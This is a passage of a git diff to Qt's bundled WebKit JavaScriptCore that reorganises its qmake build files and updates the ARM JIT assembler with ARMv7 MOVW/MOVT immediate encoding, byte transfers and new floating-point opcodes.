-GENERATED_SOURCES_DIR_SLASH = $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}
-win32-* {
-    LIBS += -lwinmm
-}
 contains(JAVASCRIPTCORE_JIT,yes) {
     DEFINES+=ENABLE_JIT=1
     DEFINES+=ENABLE_YARR_JIT=1
@@ -47,235 +60,44 @@ contains(JAVASCRIPTCORE_JIT,no) {
     DEFINES+=ENABLE_YARR=0
 }
 
-# In debug mode JIT disabled until crash fixed
-win32-* {
-    CONFIG(debug):!contains(DEFINES, ENABLE_JIT=1): DEFINES+=ENABLE_JIT=0
-}
-
-# Rules when JIT enabled (not disabled)
-!contains(DEFINES, ENABLE_JIT=0) {
-    linux*-g++*:greaterThan(QT_GCC_MAJOR_VERSION,3):greaterThan(QT_GCC_MINOR_VERSION,0) {
-        QMAKE_CXXFLAGS += -fno-stack-protector
-        QMAKE_CFLAGS += -fno-stack-protector
-    }
-}
-
 wince* {
     INCLUDEPATH += $$QT_SOURCE_TREE/src/3rdparty/ce-compat
-    SOURCES += $$QT_SOURCE_TREE/src/3rdparty/ce-compat/ce_time.c
     DEFINES += WINCEBASIC
-}
-
-include(pcre/pcre.pri)
 
-LUT_FILES += \
-    runtime/DatePrototype.cpp \
-    runtime/JSONObject.cpp \
-    runtime/NumberConstructor.cpp \
-    runtime/StringPrototype.cpp \
-    runtime/ArrayPrototype.cpp \
-    runtime/MathObject.cpp \
-    runtime/RegExpConstructor.cpp \
-    runtime/RegExpObject.cpp
-
-KEYWORDLUT_FILES += \
-    parser/Keywords.table
+    INCLUDEPATH += $$PWD/../JavaScriptCore/os-wince
+    INCLUDEPATH += $$PWD/../JavaScriptCore/os-win32
+}
 
-JSCBISON += \
-    parser/Grammar.y
 
-SOURCES += \
-    wtf/Assertions.cpp \
-    wtf/ByteArray.cpp \
-    wtf/HashTable.cpp \
-    wtf/MainThread.cpp \
-    wtf/RandomNumber.cpp \
-    wtf/RefCountedLeakCounter.cpp \
-    wtf/TypeTraits.cpp \
-    wtf/unicode/CollatorDefault.cpp \
-    wtf/unicode/icu/CollatorICU.cpp \
-    wtf/unicode/UTF8.cpp \
-    API/JSBase.cpp \
-    API/JSCallbackConstructor.cpp \
-    API/JSCallbackFunction.cpp \
-    API/JSCallbackObject.cpp \
-    API/JSClassRef.cpp \
-    API/JSContextRef.cpp \
-    API/JSObjectRef.cpp \
-    API/JSStringRef.cpp \
-    API/JSValueRef.cpp \
-    API/OpaqueJSString.cpp \
-    runtime/InitializeThreading.cpp \
-    runtime/JSGlobalData.cpp \
-    runtime/JSGlobalObject.cpp \
-    runtime/JSStaticScopeObject.cpp \
-    runtime/JSVariableObject.cpp \
-    runtime/JSActivation.cpp \
-    runtime/JSNotAnObject.cpp \
-    runtime/JSONObject.cpp \
-    runtime/LiteralParser.cpp \
-    runtime/MarkStack.cpp \
-    runtime/TimeoutChecker.cpp \
-    bytecode/CodeBlock.cpp \
-    bytecode/StructureStubInfo.cpp \
-    bytecode/JumpTable.cpp \
-    assembler/ARMAssembler.cpp \
-    assembler/MacroAssemblerARM.cpp \
-    jit/JIT.cpp \
-    jit/JITCall.cpp \
-    jit/JITArithmetic.cpp \
-    jit/JITOpcodes.cpp \
-    jit/JITPropertyAccess.cpp \
-    jit/ExecutableAllocator.cpp \
-    jit/JITStubs.cpp \
-    bytecompiler/BytecodeGenerator.cpp \
-    runtime/ExceptionHelpers.cpp \
-    runtime/JSPropertyNameIterator.cpp \
-    interpreter/Interpreter.cpp \
-    bytecode/Opcode.cpp \
-    bytecode/SamplingTool.cpp \
-    yarr/RegexCompiler.cpp \
-    yarr/RegexInterpreter.cpp \
-    yarr/RegexJIT.cpp \
-    interpreter/RegisterFile.cpp
+defineTest(addJavaScriptCoreLib) {
+    # Argument is the relative path to JavaScriptCore.pro's qmake output
+    pathToJavaScriptCoreOutput = $$ARGS/$$JAVASCRIPTCORE_DESTDIR
 
-symbian {
-    SOURCES += jit/ExecutableAllocatorSymbian.cpp \
-              runtime/MarkStackSymbian.cpp
-} else {
-    win32-*|wince* {
-        SOURCES += jit/ExecutableAllocatorWin.cpp \
-                  runtime/MarkStackWin.cpp
+    win32-msvc* {
+        QMAKE_LIBDIR += $$pathToJavaScriptCoreOutput
+        LIBS += -l$$JAVASCRIPTCORE_TARGET
+    } else:symbian {
+        LIBS += -l$${JAVASCRIPTCORE_TARGET}.lib
+        QMAKE_LIBDIR += $$pathToJavaScriptCoreOutput
     } else {
-        SOURCES += jit/ExecutableAllocatorPosix.cpp \
-                  runtime/MarkStackPosix.cpp
+        # Make sure jscore will be early in the list of libraries to workaround a bug in MinGW
+        # that can't resolve symbols from QtCore if libjscore comes after.
+        QMAKE_LIBDIR = $$pathToJavaScriptCoreOutput $$QMAKE_LIBDIR
+        LIBS += -l$$JAVASCRIPTCORE_TARGET
     }
-}
-
-!contains(DEFINES, USE_SYSTEM_MALLOC) {
-    SOURCES += wtf/TCSystemAlloc.cpp
-}
 
-# AllInOneFile.cpp helps gcc analize and optimize code
-# Other compilers may be able to do this at link time
-SOURCES += \
-    runtime/ArgList.cpp \
-    runtime/Arguments.cpp \
-    runtime/ArrayConstructor.cpp \
-    runtime/ArrayPrototype.cpp \
-    runtime/BooleanConstructor.cpp \
-    runtime/BooleanObject.cpp \
-    runtime/BooleanPrototype.cpp \
-    runtime/CallData.cpp \
-    runtime/Collector.cpp \
-    runtime/CommonIdentifiers.cpp \
-    runtime/ConstructData.cpp \
-    wtf/CurrentTime.cpp \
-    runtime/DateConstructor.cpp \
-    runtime/DateConversion.cpp \
-    runtime/DateInstance.cpp \
-    runtime/DatePrototype.cpp \
-    debugger/Debugger.cpp \
-    debugger/DebuggerCallFrame.cpp \
-    debugger/DebuggerActivation.cpp \
-    wtf/dtoa.cpp \
-    runtime/Error.cpp \
-    runtime/ErrorConstructor.cpp \
-    runtime/ErrorInstance.cpp \
-    runtime/ErrorPrototype.cpp \
-    interpreter/CallFrame.cpp \
-    runtime/Executable.cpp \
-    runtime/FunctionConstructor.cpp \
-    runtime/FunctionPrototype.cpp \
-    runtime/GetterSetter.cpp \
-    runtime/GlobalEvalFunction.cpp \
-    runtime/Identifier.cpp \
-    runtime/InternalFunction.cpp \
-    runtime/Completion.cpp \
-    runtime/JSArray.cpp \
-    runtime/JSAPIValueWrapper.cpp \
-    runtime/JSByteArray.cpp \
-    runtime/JSCell.cpp \
-    runtime/JSFunction.cpp \
-    runtime/JSGlobalObjectFunctions.cpp \
-    runtime/JSImmediate.cpp \
-    runtime/JSLock.cpp \
-    runtime/JSNumberCell.cpp \
-    runtime/JSObject.cpp \
-    runtime/JSString.cpp \
-    runtime/JSValue.cpp \
-    runtime/JSWrapperObject.cpp \
-    parser/Lexer.cpp \
-    runtime/Lookup.cpp \
-    runtime/MathObject.cpp \
-    runtime/NativeErrorConstructor.cpp \
-    runtime/NativeErrorPrototype.cpp \
-    parser/Nodes.cpp \
-    runtime/NumberConstructor.cpp \
-    runtime/NumberObject.cpp \
-    runtime/NumberPrototype.cpp \
-    runtime/ObjectConstructor.cpp \
-    runtime/ObjectPrototype.cpp \
-    runtime/Operations.cpp \
-    parser/Parser.cpp \
-    parser/ParserArena.cpp \
-    runtime/PropertyDescriptor.cpp \
-    runtime/PropertyNameArray.cpp \
-    runtime/PropertySlot.cpp \
-    runtime/PrototypeFunction.cpp \
-    runtime/RegExp.cpp \
-    runtime/RegExpConstructor.cpp \
-    runtime/RegExpObject.cpp \
-    runtime/RegExpPrototype.cpp \
-    runtime/ScopeChain.cpp \
-    runtime/SmallStrings.cpp \
-    runtime/StringConstructor.cpp \
-    runtime/StringObject.cpp \
-    runtime/StringPrototype.cpp \
-    runtime/Structure.cpp \
-    runtime/StructureChain.cpp \
-    runtime/UString.cpp \
-    profiler/HeavyProfile.cpp \
-    profiler/Profile.cpp \
-    profiler/ProfileGenerator.cpp \
-    profiler/ProfileNode.cpp \
-    profiler/Profiler.cpp \
-    profiler/TreeProfile.cpp \
-    wtf/DateMath.cpp \
-    wtf/FastMalloc.cpp \
-    wtf/Threading.cpp \
-    wtf/qt/MainThreadQt.cpp
-
-!contains(DEFINES, ENABLE_SINGLE_THREADED=1) {
-    SOURCES += wtf/qt/ThreadingQt.cpp
-} else {
-    DEFINES += ENABLE_JSC_MULTIPLE_THREADS=0
-    SOURCES += wtf/ThreadingNone.cpp
-}
-
-# GENERATOR 1-A: LUT creator
-lut.output = $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}${QMAKE_FILE_BASE}.lut.h
-lut.commands = perl $$PWD/create_hash_table ${QMAKE_FILE_NAME} -i > ${QMAKE_FILE_OUT}
-lut.depend = ${QMAKE_FILE_NAME}
-lut.input = LUT_FILES
-lut.CONFIG += no_link
-addExtraCompiler(lut)
+    win32-* {
+        LIBS += -lwinmm
+    }
 
-# GENERATOR 1-B: particular LUT creator (for 1 file only)
-keywordlut.output = $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}Lexer.lut.h
-keywordlut.commands = perl $$PWD/create_hash_table ${QMAKE_FILE_NAME} -i > ${QMAKE_FILE_OUT}
-keywordlut.depend = ${QMAKE_FILE_NAME}
-keywordlut.input = KEYWORDLUT_FILES
-keywordlut.CONFIG += no_link
-addExtraCompiler(keywordlut)
+    # The following line is to prevent qmake from adding jscore to libQtWebKit's prl dependencies.
+    # The compromise we have to accept by disabling explicitlib is to drop support to link QtWebKit and QtScript
+    # statically in applications (which isn't used often because, among other things, of licensing obstacles).
+    CONFIG -= explicitlib
 
-# GENERATOR 2: bison grammar
-jscbison.output = $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}${QMAKE_FILE_BASE}.cpp
-jscbison.commands = bison -d -p jscyy ${QMAKE_FILE_NAME} -o $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}${QMAKE_FILE_BASE}.tab.c && $(MOVE) $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}${QMAKE_FILE_BASE}.tab.c ${QMAKE_FILE_OUT} && $(MOVE) $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}${QMAKE_FILE_BASE}.tab.h $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}${QMAKE_FILE_BASE}.h
-jscbison.depend = ${QMAKE_FILE_NAME}
-jscbison.input = JSCBISON
-jscbison.variable_out = GENERATED_SOURCES
-jscbison.dependency_type = TYPE_C
-jscbison.CONFIG = target_predeps
-addExtraCompilerWithHeader(jscbison)
+    export(QMAKE_LIBDIR)
+    export(LIBS)
+    export(CONFIG)
 
+    return(true)
+}
diff --git a/src/3rdparty/webkit/JavaScriptCore/JavaScriptCore.pro b/src/3rdparty/webkit/JavaScriptCore/JavaScriptCore.pro
index a1affd4..280742f 100644
--- a/src/3rdparty/webkit/JavaScriptCore/JavaScriptCore.pro
+++ b/src/3rdparty/webkit/JavaScriptCore/JavaScriptCore.pro
@@ -1,30 +1,30 @@
 # JavaScriptCore - qmake build info
 CONFIG += building-libs
 include($$PWD/../WebKit.pri)
+include(JavaScriptCore.pri)
 
 TEMPLATE = lib
 CONFIG += staticlib
-TARGET = JavaScriptCore
+# Don't use JavaScriptCore as the target name. qmake would create a JavaScriptCore.vcproj for msvc
+# which already exists as a directory
+TARGET = $$JAVASCRIPTCORE_TARGET
+DESTDIR = $$JAVASCRIPTCORE_DESTDIR
+QT += core
+QT -= gui
 
 CONFIG += depend_includepath
 
 contains(QT_CONFIG, embedded):CONFIG += embedded
 
-CONFIG(QTDIR_build) {
-    GENERATED_SOURCES_DIR = $$PWD/generated
-    OLDDESTDIR = $$DESTDIR
-    include($$QT_SOURCE_TREE/src/qbase.pri)
-    INSTALLS =
-    DESTDIR = $$OLDDESTDIR
-    DEFINES *= NDEBUG
-}
-
-isEmpty(GENERATED_SOURCES_DIR):GENERATED_SOURCES_DIR = tmp
-GENERATED_SOURCES_DIR_SLASH = $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}
-
-INCLUDEPATH += $$GENERATED_SOURCES_DIR
+# Add these two lines both for QTDIR_build and not because we don't include qbase.pri
+contains(QT_CONFIG, reduce_exports):CONFIG += hide_symbols
+unix:contains(QT_CONFIG, reduce_relocations):CONFIG += bsymbolic_functions
 
-!CONFIG(QTDIR_build) {
+CONFIG(QTDIR_build) {
+    # Make sure we compile both debug and release on mac when inside Qt.
+    # This line was extracted from qbase.pri instead of including the whole file
+    win32|mac:!macx-xcode:CONFIG += debug_and_release
+} else {
     CONFIG(debug, debug|release) {
         OBJECTS_DIR = obj/debug
     } else { # Release
@@ -32,18 +32,12 @@ INCLUDEPATH += $$GENERATED_SOURCES_DIR
     }
 }
 
-CONFIG(release):!CONFIG(QTDIR_build) {
-    contains(QT_CONFIG, reduce_exports):CONFIG += hide_symbols
-    unix:contains(QT_CONFIG, reduce_relocations):CONFIG += bsymbolic_functions
+CONFIG(QTDIR_build) {
+    # Remove the following 2 lines if you want debug information in JavaScriptCore
+    CONFIG -= separate_debug_info
+    CONFIG += no_debug_info
 }
 
-linux-*: DEFINES += HAVE_STDINT_H
-freebsd-*: DEFINES += HAVE_PTHREAD_NP_H
-
-DEFINES += BUILD_WEBKIT
-
-win32-*: DEFINES += _HAS_TR1=0
-
 # Pick up 3rdparty libraries from INCLUDE/LIB just like with MSVC
 win32-g++ {
     TMPPATH            = $$quote($$(INCLUDE))
@@ -52,17 +46,182 @@ win32-g++ {
     QMAKE_LIBDIR_POST += $$split(TMPPATH,";")
 }
 
-DEFINES += WTF_USE_JAVASCRIPTCORE_BINDINGS=1
-
-DEFINES += WTF_CHANGES=1
+*-g++*:QMAKE_CXXFLAGS_RELEASE -= -O2
+*-g++*:QMAKE_CXXFLAGS_RELEASE += -O3
 
-include(JavaScriptCore.pri)
+# Rules when JIT enabled (not disabled)
+!contains(DEFINES, ENABLE_JIT=0) {
+    linux*-g++*:greaterThan(QT_GCC_MAJOR_VERSION,3):greaterThan(QT_GCC_MINOR_VERSION,0) {
+        QMAKE_CXXFLAGS += -fno-stack-protector
+        QMAKE_CFLAGS += -fno-stack-protector
+    }
+}
 
-QMAKE_EXTRA_TARGETS += generated_files
+wince* {
+    SOURCES += $$QT_SOURCE_TREE/src/3rdparty/ce-compat/ce_time.c
+}
 
-lessThan(QT_MINOR_VERSION, 4) {
-    DEFINES += QT_BEGIN_NAMESPACE="" QT_END_NAMESPACE=""
+include(pcre/pcre.pri)
+
+SOURCES += \
+    API/JSBase.cpp \
+    API/JSCallbackConstructor.cpp \
+    API/JSCallbackFunction.cpp \
+    API/JSCallbackObject.cpp \
+    API/JSClassRef.cpp \
+    API/JSContextRef.cpp \
+    API/JSObjectRef.cpp \
+    API/JSStringRef.cpp \
+    API/JSValueRef.cpp \
+    API/OpaqueJSString.cpp \
+    assembler/ARMAssembler.cpp \
+    assembler/MacroAssemblerARM.cpp \
+    bytecode/CodeBlock.cpp \
+    bytecode/JumpTable.cpp \
+    bytecode/Opcode.cpp \
+    bytecode/SamplingTool.cpp \
+    bytecode/StructureStubInfo.cpp \
+    bytecompiler/BytecodeGenerator.cpp \
+    bytecompiler/NodesCodegen.cpp \
+    debugger/DebuggerActivation.cpp \
+    debugger/DebuggerCallFrame.cpp \
+    debugger/Debugger.cpp \
+    interpreter/CallFrame.cpp \
+    interpreter/Interpreter.cpp \
+    interpreter/RegisterFile.cpp \
+    jit/ExecutableAllocatorFixedVMPool.cpp \
+    jit/ExecutableAllocatorPosix.cpp \
+    jit/ExecutableAllocatorSymbian.cpp \
+    jit/ExecutableAllocatorWin.cpp \
+    jit/ExecutableAllocator.cpp \
+    jit/JITArithmetic.cpp \
+    jit/JITCall.cpp \
+    jit/JIT.cpp \
+    jit/JITOpcodes.cpp \
+    jit/JITPropertyAccess.cpp \
+    jit/JITPropertyAccess32_64.cpp \
+    jit/JITStubs.cpp \
+    parser/Lexer.cpp \
+    parser/Nodes.cpp \
+    parser/ParserArena.cpp \
+    parser/Parser.cpp \
+    profiler/Profile.cpp \
+    profiler/ProfileGenerator.cpp \
+    profiler/ProfileNode.cpp \
+    profiler/Profiler.cpp \
+    runtime/ArgList.cpp \
+    runtime/Arguments.cpp \
+    runtime/ArrayConstructor.cpp \
+    runtime/ArrayPrototype.cpp \
+    runtime/BooleanConstructor.cpp \
+    runtime/BooleanObject.cpp \
+    runtime/BooleanPrototype.cpp \
+    runtime/CallData.cpp \
+    runtime/Collector.cpp \
+    runtime/CommonIdentifiers.cpp \
+    runtime/Completion.cpp \
+    runtime/ConstructData.cpp \
+    runtime/DateConstructor.cpp \
+    runtime/DateConversion.cpp \
+    runtime/DateInstance.cpp \
+    runtime/DatePrototype.cpp \
+    runtime/ErrorConstructor.cpp \
+    runtime/Error.cpp \
+    runtime/ErrorInstance.cpp \
+    runtime/ErrorPrototype.cpp \
+    runtime/ExceptionHelpers.cpp \
+    runtime/Executable.cpp \
+    runtime/FunctionConstructor.cpp \
+    runtime/FunctionPrototype.cpp \
+    runtime/GetterSetter.cpp \
+    runtime/GlobalEvalFunction.cpp \
+    runtime/Identifier.cpp \
+    runtime/InitializeThreading.cpp \
+    runtime/InternalFunction.cpp \
+    runtime/JSActivation.cpp \
+    runtime/JSAPIValueWrapper.cpp \
+    runtime/JSArray.cpp \
+    runtime/JSByteArray.cpp \
+    runtime/JSCell.cpp \
+    runtime/JSFunction.cpp \
+    runtime/JSGlobalData.cpp \
+    runtime/JSGlobalObject.cpp \
+    runtime/JSGlobalObjectFunctions.cpp \
+    runtime/JSImmediate.cpp \
+    runtime/JSLock.cpp \
+    runtime/JSNotAnObject.cpp \
+    runtime/JSNumberCell.cpp \
+    runtime/JSObject.cpp \
+    runtime/JSONObject.cpp \
+    runtime/JSPropertyNameIterator.cpp \
+    runtime/JSStaticScopeObject.cpp \
+    runtime/JSString.cpp \
+    runtime/JSValue.cpp \
+    runtime/JSVariableObject.cpp \
+    runtime/JSWrapperObject.cpp \
+    runtime/LiteralParser.cpp \
+    runtime/Lookup.cpp \
+    runtime/MarkStackPosix.cpp \
+    runtime/MarkStackSymbian.cpp \
+    runtime/MarkStackWin.cpp \
+    runtime/MarkStack.cpp \
+    runtime/MathObject.cpp \
+    runtime/NativeErrorConstructor.cpp \
+    runtime/NativeErrorPrototype.cpp \
+    runtime/NumberConstructor.cpp \
+    runtime/NumberObject.cpp \
+    runtime/NumberPrototype.cpp \
+    runtime/ObjectConstructor.cpp \
+    runtime/ObjectPrototype.cpp \
+    runtime/Operations.cpp \
+    runtime/PropertyDescriptor.cpp \
+    runtime/PropertyNameArray.cpp \
+    runtime/PropertySlot.cpp \
+    runtime/PrototypeFunction.cpp \
+    runtime/RegExpConstructor.cpp \
+    runtime/RegExp.cpp \
+    runtime/RegExpObject.cpp \
+    runtime/RegExpPrototype.cpp \
+    runtime/ScopeChain.cpp \
+    runtime/SmallStrings.cpp \
+    runtime/StringConstructor.cpp \
+    runtime/StringObject.cpp \
+    runtime/StringPrototype.cpp \
+    runtime/StructureChain.cpp \
+    runtime/Structure.cpp \
+    runtime/TimeoutChecker.cpp \
+    runtime/UString.cpp \
+    runtime/UStringImpl.cpp \
+    wtf/Assertions.cpp \
+    wtf/ByteArray.cpp \
+    wtf/CurrentTime.cpp \
+    wtf/DateMath.cpp \
+    wtf/dtoa.cpp \
+    wtf/FastMalloc.cpp \
+    wtf/HashTable.cpp \
+    wtf/MainThread.cpp \
+    wtf/qt/MainThreadQt.cpp \
+    wtf/qt/ThreadingQt.cpp \
+    wtf/RandomNumber.cpp \
+    wtf/RefCountedLeakCounter.cpp \
+    wtf/symbian/BlockAllocatorSymbian.cpp \
+    wtf/ThreadingNone.cpp \
+    wtf/Threading.cpp \
+    wtf/TypeTraits.cpp \
+    wtf/unicode/CollatorDefault.cpp \
+    wtf/unicode/icu/CollatorICU.cpp \
+    wtf/unicode/UTF8.cpp \
+    yarr/RegexCompiler.cpp \
+    yarr/RegexInterpreter.cpp \
+    yarr/RegexJIT.cpp
+
+# Generated files, simply list them for JavaScriptCore
+SOURCES += \
+    $${JSC_GENERATED_SOURCES_DIR}/Grammar.cpp
+
+!contains(DEFINES, USE_SYSTEM_MALLOC) {
+    SOURCES += wtf/TCSystemAlloc.cpp
 }
 
-*-g++*:QMAKE_CXXFLAGS_RELEASE -= -O2
-*-g++*:QMAKE_CXXFLAGS_RELEASE += -O3
+# JavaScriptCore is not going to build with C++0x any time soon
+*-g++*:QMAKE_CXXFLAGS -= -std=c++0x -std=gnu++0x
diff --git a/src/3rdparty/webkit/JavaScriptCore/assembler/ARMAssembler.cpp b/src/3rdparty/webkit/JavaScriptCore/assembler/ARMAssembler.cpp
index 1324586..7393aa1 100644
--- a/src/3rdparty/webkit/JavaScriptCore/assembler/ARMAssembler.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/assembler/ARMAssembler.cpp
@@ -26,7 +26,7 @@
 
 #include "config.h"
 
-#if ENABLE(ASSEMBLER) && PLATFORM(ARM_TRADITIONAL)
+#if ENABLE(ASSEMBLER) && CPU(ARM_TRADITIONAL)
 
 #include "ARMAssembler.h"
 
@@ -34,39 +34,6 @@ namespace JSC {
 
 // Patching helpers
 
-ARMWord* ARMAssembler::getLdrImmAddress(ARMWord* insn, uint32_t* constPool)
-{
-    // Must be an ldr ..., [pc +/- imm]
-    ASSERT((*insn & 0x0f7f0000) == 0x051f0000);
-
-    if (constPool && (*insn & 0x1))
-        return reinterpret_cast<ARMWord*>(constPool + ((*insn & SDT_OFFSET_MASK) >> 1));
-
-    ARMWord addr = reinterpret_cast<ARMWord>(insn) + 2 * sizeof(ARMWord);
-    if (*insn & DT_UP)
-        return reinterpret_cast<ARMWord*>(addr + (*insn & SDT_OFFSET_MASK));
-    else
-        return reinterpret_cast<ARMWord*>(addr - (*insn & SDT_OFFSET_MASK));
-}
-
-void ARMAssembler::linkBranch(void* code, JmpSrc from, void* to, int useConstantPool)
-{
-    ARMWord* insn = reinterpret_cast<ARMWord*>(code) + (from.m_offset / sizeof(ARMWord));
-
-    if (!useConstantPool) {
-        int diff = reinterpret_cast<ARMWord*>(to) - reinterpret_cast<ARMWord*>(insn + 2);
-
-        if ((diff <= BOFFSET_MAX && diff >= BOFFSET_MIN)) {
-            *insn = B | getConditionalField(*insn) | (diff & BRANCH_MASK);
-            ExecutableAllocator::cacheFlush(insn, sizeof(ARMWord));
-            return;
-        }
-    }
-    ARMWord* addr = getLdrImmAddress(insn);
-    *addr = reinterpret_cast<ARMWord>(to);
-    ExecutableAllocator::cacheFlush(addr, sizeof(ARMWord));
-}
-
 void ARMAssembler::patchConstantPoolLoad(void* loadAddr, void* constPoolAddr)
 {
     ARMWord *ldr = reinterpret_cast<ARMWord*>(loadAddr);
@@ -118,7 +85,7 @@ ARMWord ARMAssembler::getOp2(ARMWord imm)
     if ((imm & 0x00ffffff) == 0)
         return OP2_IMM | (imm >> 24) | (rol << 8);
 
-    return 0;
+    return INVALID_IMM;
 }
 
 int ARMAssembler::genInt(int reg, ARMWord imm, bool positive)
@@ -236,25 +203,18 @@ ARMWord ARMAssembler::getImm(ARMWord imm, int tmpReg, bool invert)
 
     // Do it by 1 instruction
     tmp = getOp2(imm);
-    if (tmp)
+    if (tmp != INVALID_IMM)
         return tmp;
 
     tmp = getOp2(~imm);
-    if (tmp) {
+    if (tmp != INVALID_IMM) {
         if (invert)
             return tmp | OP2_INV_IMM;
         mvn_r(tmpReg, tmp);
         return tmpReg;
     }
 
-    // Do it by 2 instruction
-    if (genInt(tmpReg, imm, true))
-        return tmpReg;
-    if (genInt(tmpReg, ~imm, false))
-        return tmpReg;
-
-    ldr_imm(tmpReg, imm);
-    return tmpReg;
+    return encodeComplexImm(imm, tmpReg);
 }
 
 void ARMAssembler::moveImm(ARMWord imm, int dest)
@@ -263,50 +223,68 @@ void ARMAssembler::moveImm(ARMWord imm, int dest)
 
     // Do it by 1 instruction
     tmp = getOp2(imm);
-    if (tmp) {
+    if (tmp != INVALID_IMM) {
         mov_r(dest, tmp);
         return;
     }
 
     tmp = getOp2(~imm);
-    if (tmp) {
+    if (tmp != INVALID_IMM) {
         mvn_r(dest, tmp);
         return;
     }
 
+    encodeComplexImm(imm, dest);
+}
+
+ARMWord ARMAssembler::encodeComplexImm(ARMWord imm, int dest)
+{
+#if WTF_ARM_ARCH_AT_LEAST(7)
+    ARMWord tmp = getImm16Op2(imm);
+    if (tmp != INVALID_IMM) {
+        movw_r(dest, tmp);
+        return dest;
+    }
+    movw_r(dest, getImm16Op2(imm & 0xffff));
+    movt_r(dest, getImm16Op2(imm >> 16));
+    return dest;
+#else
     // Do it by 2 instruction
     if (genInt(dest, imm, true))
-        return;
+        return dest;
     if (genInt(dest, ~imm, false))
-        return;
+        return dest;
 
     ldr_imm(dest, imm);
+    return dest;
+#endif
 }
 
 // Memory load/store helpers
 
-void ARMAssembler::dataTransfer32(bool isLoad, RegisterID srcDst, RegisterID base, int32_t offset)
+void ARMAssembler::dataTransfer32(bool isLoad, RegisterID srcDst, RegisterID base, int32_t offset, bool bytes)
 {
+    ARMWord transferFlag = bytes ? DT_BYTE : 0;
     if (offset >= 0) {
         if (offset <= 0xfff)
-            dtr_u(isLoad, srcDst, base, offset);
+            dtr_u(isLoad, srcDst, base, offset | transferFlag);
         else if (offset <= 0xfffff) {
             add_r(ARMRegisters::S0, base, OP2_IMM | (offset >> 12) | (10 << 8));
-            dtr_u(isLoad, srcDst, ARMRegisters::S0, offset & 0xfff);
+            dtr_u(isLoad, srcDst, ARMRegisters::S0, (offset & 0xfff) | transferFlag);
         } else {
             ARMWord reg = getImm(offset, ARMRegisters::S0);
-            dtr_ur(isLoad, srcDst, base, reg);
+            dtr_ur(isLoad, srcDst, base, reg | transferFlag);
         }
     } else {
         offset = -offset;
         if (offset <= 0xfff)
-            dtr_d(isLoad, srcDst, base, offset);
+            dtr_d(isLoad, srcDst, base, offset | transferFlag);
         else if (offset <= 0xfffff) {
             sub_r(ARMRegisters::S0, base, OP2_IMM | (offset >> 12) | (10 << 8));
-            dtr_d(isLoad, srcDst, ARMRegisters::S0, offset & 0xfff);
+            dtr_d(isLoad, srcDst, ARMRegisters::S0, (offset & 0xfff) | transferFlag);
         } else {
             ARMWord reg = getImm(offset, ARMRegisters::S0);
-            dtr_dr(isLoad, srcDst, base, reg);
+            dtr_dr(isLoad, srcDst, base, reg | transferFlag);
         }
     }
 }
@@ -378,10 +356,17 @@ void* ARMAssembler::executableCopy(ExecutablePool* allocator)
         // The last bit is set if the constant must be placed on constant pool.
         int pos = (*iter) & (~0x1);
         ARMWord* ldrAddr = reinterpret_cast<ARMWord*>(data + pos);
-        ARMWord offset = *getLdrImmAddress(ldrAddr);
-        if (offset != 0xffffffff) {
-            JmpSrc jmpSrc(pos);
-            linkBranch(data, jmpSrc, data + offset, ((*iter) & 1));
+        ARMWord* addr = getLdrImmAddress(ldrAddr);
+        if (*addr != 0xffffffff) {
+            if (!(*iter & 1)) {
+                int diff = reinterpret_cast<ARMWord*>(data + *addr) - (ldrAddr + DefaultPrefetching);
+
+                if ((diff <= BOFFSET_MAX && diff >= BOFFSET_MIN)) {
+                    *ldrAddr = B | getConditionalField(*ldrAddr) | (diff & BRANCH_MASK);
+                    continue;
+                }
+            }
+            *addr = reinterpret_cast<ARMWord>(data + *addr);
         }
     }
 
@@ -390,4 +375,4 @@ void* ARMAssembler::executableCopy(ExecutablePool* allocator)
 
 } // namespace JSC
 
-#endif // ENABLE(ASSEMBLER) && PLATFORM(ARM_TRADITIONAL)
+#endif // ENABLE(ASSEMBLER) && CPU(ARM_TRADITIONAL)
diff --git a/src/3rdparty/webkit/JavaScriptCore/assembler/ARMAssembler.h b/src/3rdparty/webkit/JavaScriptCore/assembler/ARMAssembler.h
index 9f9a450..f93db68 100644
--- a/src/3rdparty/webkit/JavaScriptCore/assembler/ARMAssembler.h
+++ b/src/3rdparty/webkit/JavaScriptCore/assembler/ARMAssembler.h
@@ -27,9 +27,7 @@
 #ifndef ARMAssembler_h
 #define ARMAssembler_h
 
-#include <wtf/Platform.h>
-
-#if ENABLE(ASSEMBLER) && PLATFORM(ARM_TRADITIONAL)
+#if ENABLE(ASSEMBLER) && CPU(ARM_TRADITIONAL)
 
 #include "AssemblerBufferWithConstantPool.h"
 #include <wtf/Assertions.h>
@@ -121,6 +119,7 @@ namespace JSC {
             MUL = 0x00000090,
             MULL = 0x00c00090,
             FADDD = 0x0e300b00,
+            FDIVD = 0x0e800b00,
             FSUBD = 0x0e300b40,
             FMULD = 0x0e200b00,
             FCMPD = 0x0eb40b40,
@@ -133,12 +132,18 @@ namespace JSC {
             B = 0x0a000000,
             BL = 0x0b000000,
             FMSR = 0x0e000a10,
+            FMRS = 0x0e100a10,
             FSITOD = 0x0eb80bc0,
+            FTOSID = 0x0ebd0b40,
             FMSTAT = 0x0ef1fa10,
-#if ARM_ARCH_VERSION >= 5
+#if WTF_ARM_ARCH_AT_LEAST(5)
             CLZ = 0x016f0f10,
             BKPT = 0xe120070,
 #endif
+#if WTF_ARM_ARCH_AT_LEAST(7)
+            MOVW = 0x03000000,
+            MOVT = 0x03400000,
+#endif
         };
 
         enum {
@@ -148,6 +153,7 @@ namespace JSC {
             SET_CC = (1 << 20),
             OP2_OFSREG = (1 << 25),
             DT_UP = (1 << 23),
+            DT_BYTE = (1 << 22),
             DT_WB = (1 << 21),
             // This flag is inlcuded in LDR and STR
             DT_PRE = (1 << 24),
@@ -175,6 +181,9 @@ namespace JSC {
             padForAlign32 = 0xee120070,
         };
 
+        static const ARMWord INVALID_IMM = 0xf0000000;
+        static const int DefaultPrefetching = 2;
+
         class JmpSrc {
             friend class ARMAssembler;
         public:
@@ -333,6 +342,20 @@ namespace JSC {
